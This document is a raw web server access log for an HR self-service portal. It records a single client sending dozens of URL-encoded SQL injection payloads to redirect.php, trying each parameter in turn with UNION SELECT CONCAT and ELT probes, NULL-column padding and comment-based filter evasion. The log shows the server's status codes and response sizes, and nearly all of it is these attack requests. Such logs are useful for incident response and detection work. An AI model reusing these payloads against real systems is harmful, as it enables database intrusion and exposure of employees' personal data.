100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b6b3161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45704c6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FbngM%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b6b3161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45704c6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FbngM%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x726a5379%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7374774b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FVT7h%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x726a5379%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7374774b%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FVT7h%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x69777033%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78775157%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x69777033%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78775157%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7a70766a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70737576%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fi08I%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7a70766a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70737576%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fi08I%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6e646275%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4333745a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fde8m%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6e646275%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4333745a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fde8m%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7838354c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32676c79%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FaiUq%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7838354c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32676c79%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FaiUq%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x75453347%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67474f37%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYiM1%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x75453347%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67474f37%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FYiM1%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b6b3161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45704c6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FbngM%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x54656d79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a453644%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FdHhF%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x62363133%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61495162%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FOVLb%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x436f7565%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b536554%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FomaF%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x436f7565%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b536554%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FomaF%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x46695a4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48616f67%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x46695a4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48616f67%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6e646275%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4333745a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fde8m%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5374354c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34374857%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FPygp%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5374354c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34374857%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FPygp%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b6e584c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c47354a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKsMB%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:25 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b6e584c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c47354a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKsMB%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess HTTP/1.1" 301 249
